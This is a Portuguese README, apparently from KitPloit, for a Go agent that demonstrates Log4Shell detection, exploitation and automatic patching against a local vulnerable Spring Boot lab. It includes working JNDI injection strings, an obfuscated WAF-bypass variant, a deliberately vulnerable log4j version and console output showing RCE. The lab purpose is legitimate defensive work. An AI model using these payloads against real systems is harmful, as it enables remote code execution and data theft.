
Um agente Go reflexivo autônomo para auditoria de segurança de ciclo completo, evasão de WAF, verificação LDAP OOB, autorremediação (aplicação automática de patches) e relatórios de conformidade para CVE-2021-44228 (Log4Shell).
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/50368/28c8d645b196395be57f65313871e421ff86e7d77fb27a42f69d84cf844362b6.png" alt="AUTO AUDIT Banner" width="900" style="border-radius: 8px;">
</p>
<h1 align="center">🤖 AUTO AUDIT</h1>
<p align="center">
<b>Bancada de demonstração isolada de um agente executor autônomo reflexivo (Go/Java)</b>
</p>
<p align="center">
<a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.md"><b>Русский 🇷🇺</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.en.md"><b>English 🇬🇧</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.zh.md"><b>中文 🇨🇳</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.es.md"><b>Español 🇪🇸</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.de.md"><b>Deutsch 🇩🇪</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.it.md"><b>Italiano 🇮🇹</b></a> • <a href="https://github.com/c00ln3t/log4shellauditor/blob/main/README.ar.md"><b>العربية 🇸🇦</b></a>
</p>
<p align="center">
<a href="https://golang.org"><img src="https://img.shields.io/badge/Go-1.21+-00ADD8?style=for-the-badge&logo=go" alt="Go Version"></a>
<a href="https://openjdk.org"><img src="https://img.shields.io/badge/Java-17+-ED8B00?style=for-the-badge&logo=openjdk" alt="Java Version"></a>
<a href="https://maven.apache.org"><img src="https://img.shields.io/badge/Maven-3.8+-C71A36?style=for-the-badge&logo=apachemaven" alt="Maven"></a>
<a href="https://github.com/c00ln3t/log4shellauditor/blob/main/LICENSE"><img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" alt="License"></a>
<a href="https://github.com/C00LN3T/Log4ShellAuditor/graphs/traffic"><img src="https://img.shields.io/badge/dynamic/json?color=007ec6&label=views&query=$.count&url=https://raw.githubusercontent.com/C00LN3T/Log4ShellAuditor/traffic-Log4ShellAuditor/traffic_views.json&style=for-the-badge" alt="Views"></a>
<a href="https://github.com/C00LN3T/Log4ShellAuditor/graphs/traffic"><img src="https://img.shields.io/badge/dynamic/json?color=007ec6&label=clones&query=$.count&url=https://raw.githubusercontent.com/C00LN3T/Log4ShellAuditor/traffic-Log4ShellAuditor/traffic_clones.json&style=for-the-badge" alt="Clones"></a>
</p>
---
## 🧭 Visão geral
> [!NOTE]
> **AUTO AUDIT** é um complexo de software que demonstra um **ciclo fechado 100% autônomo (Sense-Think-Act)** de detecção, verificação, exploração, correção automática (*Self-Healing / Auto-Remediation*) e relatórios de conformidade para a vulnerabilidade crítica **Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103)**.
>
> A bancada implanta uma aplicação web local baseada em **Java Spring Boot**, um **LDAP TCP Callback Listener** integrado e o núcleo cognitivo de um **agente Go**, que toma decisões em condições de observabilidade parcial do ambiente externo (*Partially Observable Markov Decision Process — POMDP*).```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#3b82f6',
'lineColor': '#38bdf8',
'secondaryColor': '#1e1b4b',
'tertiaryColor': '#0f172a',
'edgeLabelBackground': '#0f172a'
}
}}%%
graph TD
classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff;
classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff;
classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff;
classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
B --> C{Вычисление Utility Policy}:::think
C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
D --> E[Выполнение Tool.Execute]:::act
E -->|Воздействие| F((Java Spring Boot Target)):::target
F -.->|Обратный канал OOB| A
end
```
---
## 🛠️ Arquitetura técnica e componentes
A estrutura de software do agente é desenvolvida de acordo com os princípios da arquitetura limpa (*Hexagonal Architecture / Ports and Adapters*), SOLID e TDD:
* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Ponto de entrada. Gerencia o ciclo de vida dos processos em segundo plano e coordena a inicialização da goroutine do agente.
* 📂 **`internal/`** — Lógica de negócios principal do circuito cognitivo:
* 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Circuito cognitivo. Implementa o loop de controle e a regra de decisão para seleção da estratégia `Think()`.
* 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Base de conhecimento thread-safe (`KnowledgeBase` / LTM) baseada em `sync.RWMutex`.
* 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — Interface `Tool` para os efetores.
* ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registro de efetores polimórficos (ferramentas):
* 🔍 `ToolPortScanner` — Reconhecimento do perímetro de rede.
* 🌐 `ToolDiscovery` — Descoberta de pontos de articulação e vetores de entrada (`X-Api-Version`).
* 🔬 `ToolPayloadGenerator` — Síntese do vetor de assinatura JNDI.
* 🚀 `ToolProber` — Verificação de vulnerabilidade por meio de rastreamento fora de banda (Out-of-Band).
* 🛡️ `ToolSemanticFuzzer` — Contorno de classificadores de filtragem (WAF Evasion) por meio de mutações sintáticas aninhadas.
* 🩹 `ToolRemediator` — Aplicação automática de patches (Self-Healing).
* 📄 `ToolReporter` — Geração de relatório de acordo com GOST R 56939-2016.
* 📂 **`pkg/`** — Pacotes e bibliotecas de serviço:
* 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Listeners fora de banda (LDAP e HTTP).
* ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Gerenciamento do ciclo de vida e reinicialização do alvo Java local.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Arquivos de configuração para implantação (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Aplicativo de teste vulnerável Java Spring Boot.
---
## 🎯 Aparato matemático e especificação do ciclo cognitivo (Think-Act Loop)
A tomada de decisão do agente é formalizada como um **Processo de Decisão de Markov Parcialmente Observável (POMDP)**, descrito pela tupla $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — espaço discreto de estados ocultos do ambiente alvo (disponibilidade da porta, presença de parâmetros vulneráveis, atividade do WAF, fato de comprometimento, status da aplicação de patches, presença do relatório de conformidade).
* $A$ — espaço de ações dos efetores (chamada de ferramentas: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — espaço de observações (respostas HTTP recebidas, callbacks TCP OOB, registros do sistema de arquivos).
* $O(o \mid s', a)$ — função de observação que determina a probabilidade de receber uma resposta $o \in \Omega$.
### 1. Vetor de crença (Belief State)
O agente não tem informação direta sobre o estado oculto do ambiente $s \in S$ e opera com o vetor de crença $b(s)$ — uma distribuição de probabilidade sobre $S$, que é armazenada e atualizada dinamicamente na memória `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — estado do reconhecimento de rede (porta aberta/fechada). Mapeado para `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mapeamento dos vetores de entrada (se os parâmetros foram encontrados). Mapeado para `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — prontidão da assinatura de exploit. Mapeado para `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — status de comprometimento (presença de Loot/Flag). Mapeado para `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — fato de localização da vulnerabilidade. Mapeado para `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verificação da ausência de novo disparo OOB. Mapeado para `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — geração do relatório regulamentado. Mapeado para `ReportGenerated`.
### 2. Função da regra de decisão (Policy Mapping)
A função de tomada de decisão `Think()` implementa uma regra de decisão determinística $\pi: B \to A$, mapeando sequencialmente o estado de crença acumulado atual $b$ para a ação ótima do efetor $a \in A$.
### 3. Aprendizado adaptativo e avaliação da eficácia das ferramentas
Para cada ferramenta $a \in A$, estatísticas são acumuladas na memória `ToolStats` e o índice de utilidade (Efficiency Score) é calculado:
$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$
O agente usa esses indicadores para alterar dinamicamente a trajetória: se a sonda primária `prober` falhou ($\text{EfficiencyScore}(\text{prober}) = 0$), o agente identifica a presença de filtragem no nó de destino (WAF), ativa a estratégia de compensação de bypass do WAF usando a ferramenta `semantic_fuzzer` e executa a mutação do vetor de injeção.
### Cenário passo a passo da operação da bancada de testes:
| Passo | Ferramenta Selecionada | Ação e física do processo | Alteração do Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Verificação do socket TCP do host `:8080`. | Porta HTTP aberta do serviço web detectada ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Execução de requisição GET, parsing do DOM e cabeçalhos. | Vetor de entrada identificado: cabeçalho `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Síntese do vetor de exploit base. | O banco de dados é preenchido com a string `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Ataque primário. O agente envia a payload. | Tentativa bloqueada pelo WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Ofuscação da assinatura por meio de nested lookups. | Assinatura mutada gerada ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Ataque com vetor ofuscado. | O listener LDAP embutido registra a conexão TCP de entrada. Fato de RCE identificado ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Correção automática. Gravação do flag em `remediation.properties` e reinicialização da JVM. | Processo Spring Boot reiniciado com o flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verificação (nova requisição de sondagem). | Aguardando conexão OOB na porta `1389`. Conexão ausente $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Geração de relatório markdown. | Documento `reports/cve_2021_44228_report.md` gerado ($b(S_{report}) = 1$). |
| **10**| `stop` | Encerramento. | Fim da execução. |
## 📊 Fluxogramas de algoritmos
### 1. Algoritmo geral de funcionamento do agente (Sense-Think-Act Loop)
Este diagrama descreve o ciclo de vida contínuo do funcionamento do agente: desde o início e a inicialização da base de conhecimento até o encerramento da sessão de auditoria.```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
Init --> LoopStart{Цикл принятия решений}:::decision
%% Think Phase
LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
%% Branch on Stop
Think --> IsStop{a == 'stop'?}:::decision
IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
%% Act Phase
IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
%% Sense Phase
Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
%% Wait
RecordObs --> Delay[Задержка 800 мс]:::step
Delay --> LoopStart
```
### 2. Algoritmo do núcleo cognitivo de tomada de decisão (Think)
Este esquema descreve detalhadamente a lógica de seleção do próximo passo com base no vetor de confiança acumulado atual (Belief State) dentro da função `Think()`:```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process
%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection
%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection
%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock
Unlock --> End([Возврат выбранного инструмента]):::startEnd
```
---
## 📦 Especificação do aplicativo Java vulnerável
O aplicativo-alvo no diretório `test/vulnerable-app/` é um serviço REST mínimo baseado em **Spring Boot 2.7.18** com versões intencionalmente reduzidas das bibliotecas **Apache Log4j2**:```xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>
```
O controlador vulnerável registra os cabeçalhos HTTP recebidos sem sanitização prévia:```java
logger.info("[AUDIT] API Version header logged: {}", apiVersion);
```
Ao receber uma string do tipo `\${jndi:ldap://...\}` o logger inicia a resolução do endereço JNDI, enviando uma solicitação via protocolo LDAP para a porta `1389`.
---
## 🚀 Instruções de execução
O ambiente de demonstração suporta dois modos de implantação: execução local diretamente no sistema host (Opção A) ou execução totalmente conteinerizada em ambiente de rede isolado via Docker Compose (Opção B).
### Opção A. Execução local no sistema host
#### Pré-requisitos
* **JDK 17+** (verifique com `java -version`)
* **Maven 3.8+** (verifique com `mvn -version`)
* **Go 1.21+** (verifique com `go version`)
#### 1. Compilação do microsserviço Java
Compile o alvo Java em um artefato JAR gordo:```bash
cd test/vulnerable-app
mvn clean package
cd ../..
```
*Certifique-se de que o arquivo `vulnerable-app-simple-1.0.0.jar` foi criado com sucesso no diretório `test/vulnerable-app/target/`.*
#### 2. Compilação do payload de exploit
Compile a classe Java Exploit que será servida pelo servidor HTTP:```bash
javac internal/payload/Exploit.java
```
#### 3. Compilação e execução do ambiente de demonstração
Execução no modo de interpretação Go on-the-fly:```bash
go run ./cmd/agent
```
Ou compile para um arquivo binário executável:```bash
go build -o test_agent ./cmd/agent
./test_agent
```
---
### Opção B. Execução em ambiente Docker isolado (Docker Compose)
> [!TIP]
> Esta opção não requer a instalação de Go, Java ou Maven no seu sistema host. Todo o ambiente é construído e orquestrado automaticamente em uma rede virtual isolada `172.20.0.0/16`.
#### Pré-requisitos
* **Docker** instalado e o plugin **Docker Compose** (verifique através de `docker compose version`).
#### 1. Inicialização do ambiente
Execute a construção das imagens e a inicialização dos contêineres com um único comando a partir do diretório raiz do projeto:```bash
docker compose -f deployments/docker-compose.yml up --build
```
#### 2. Descrição dos processos nos contêineres:
* `vulnerable-app` compilará automaticamente o aplicativo Java Spring Boot, gravará o flag secreto no diretório restrito `/var/lib/secret/flag.txt` e iniciará o servidor web na porta `:8080`.
* `reflective-agent` compilará o código Go do agente, compilará o payload Java `Exploit.java`, subirá os servidores OOB e iniciará o ciclo cognitivo.
* A pasta local `reports/` no sistema host está montada no contêiner do agente — o relatório GOST gerado ao final do trabalho será salvo automaticamente no seu diretório `reports/cve_2021_44228_report.md`.
#### 3. Encerramento do ambiente
Para finalizar a simulação e remover os recursos de rede, execute:```bash
docker compose -f deployments/docker-compose.yml down
```
---
## 📊 Exemplo de saída do console```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.
[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.
[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.
[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.
[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.
[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.
================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
```
---
## 📜 Proteção da Informação e Conformidade
O relatório gerado pelo agente no arquivo `reports/cve_2021_44228_report.md` considera os principais padrões russos de segurança da informação:
* **ГОСТ Р 56939-2016** — Desenvolvimento de software seguro.
* **ФЗ-152** — Requisitos para a proteção de dados pessoais (ПДн) ao detectar capacidades não declaradas.
* **ФЗ-187** — Garantia da resiliência de objetos da infraestrutura crítica de informação (КИИ РФ).
---
## 🛡️ Licença
Este projeto é distribuído sob a licença **MIT**. Detalhes no arquivo [LICENSE](https://github.com/c00ln3t/log4shellauditor/blob/main/LICENSE).